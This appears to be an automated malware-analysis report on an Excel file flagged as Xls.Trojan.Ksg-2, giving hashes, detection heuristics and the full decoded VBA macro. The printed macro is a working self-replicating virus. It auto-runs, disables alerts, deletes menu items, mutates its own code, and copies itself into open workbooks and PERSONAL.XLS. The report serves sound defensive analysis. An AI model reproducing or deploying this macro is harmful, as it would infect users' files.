Xls.Trojan.Ksg-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 133cdd9750e488eb…

MALICIOUS

Office (OLE)

22.5 KB Created: 2000-06-22 16:33:05 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 3ec2377888b1747eb8b70565969531c8 SHA-1: ec3b4c2dd1b5d29c830ff093262d934f327dd671 SHA-256: 133cdd9750e488ebe5133b4040aebaa3f9144ac174e24b5b5e5550e5937aa0ce
180 Risk Score

Malware Insights

Xls.Trojan.Ksg-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel file contains a critical Auto_Open VBA macro, identified by ClamAV as Xls.Trojan.Ksg-2. The macro appears to be designed to execute automatically upon opening the document, likely to perform malicious actions. The presence of the 'ksgXLvx' macro and the mention of 'PERSONAL.XLS' suggest potential infection or payload delivery mechanisms.

Heuristics 3

  • ClamAV: Xls.Trojan.Ksg-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Ksg-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3146 bytes
SHA-256: 45502bb1f2e02d1575f669bb49df99fd19459199da30d474fc46e8f6330a3d1c
Detection
ClamAV: Xls.Trojan.Ksg-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ksgXLvx"
; This is ksgXLvx
; (c) 2000 by ksg
; astigmatiZm virus group
; www.astigmatizm.cjb.net
; Import in XL VB to activate this virus


Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Sub Auto_Open()
Application.OnSheetActivate = "osa"
End Sub

Sub osa()
On Error Resume Next
vname = "ksgXLvx"
dfname = "PERSONAL.XLS"
asp = Application.StartupPath & "\" & dfname
loop1 = 0
loop2 = 0
With Application
.StatusBar = "XM97.ksgXLvx"
.ScreenUpdating = (Rnd * 0)
.DisplayAlerts = (Rnd * 0)
.EnableCancelKey = xlDisabled
End With
CommandBars("Tools").Controls(10).Delete
CommandBars("Tools").Controls(12).Delete
CommandBars("View").Controls(3).Delete
CommandBars("Window").Controls(3).Delete
CommandBars("Window").Controls(4).Delete
Set var1 = Current.VBProject.VBComponents
Set var2 = CodeModule
Set Current = MacroContainer
For loops = 1 To 20
Number = var1("ksgXLvx").var2.ProcCountLines("osa", vbext_pk_Proc)
RandomLine = Int(Rnd() * Number + 1)
RemarkLength = Int(Rnd() * 40 + 1)
For Length = 1 To RemarkLength
Remark = Remark + Chr$(Int((90 - 65 + 1) * Rnd + 65))
Next Length
var1("ksgXLvx").var2.InsertLines RandomLine, vbTab & "Rem " & Remark
Remark = ""
Next loops
Call ksg
End Sub

Sub ksg()
On Error Resume Next
If Day(Now()) = 10 And Month(Now()) = 9 Then
MsgBox "yet another virus from ksg....", vbCritical, "ksgXLvx"
ActiveDocument.Content.Font.Animation = wdAnimationSparkleText
While ShowCursor(False) >= 0
Wend
End If
Application.VBE.ActiveVBProject.VBComponents.Item(vname).Export "C:\ksgXLvx.sys"
If Dir(asp) = dfname Then loop2 = 1
For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents(x).Name = vname Then loop1 = 1
Next x
If loop1 = 0 Then
ActiveWorkbook.VBProject.VBComponents.Import "C:\ksgXLvx.sys"
ActiveWorkbook.Save
End If
If loop2 = 0 Then
Workbooks.Add.SaveAs FileName:=asp
ActiveWorkbook.VBProject.VBComponents.Import "C:\ksgXLvx.sys"
ActiveWindow.Visible = False
Workbooks(dfname).Save
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.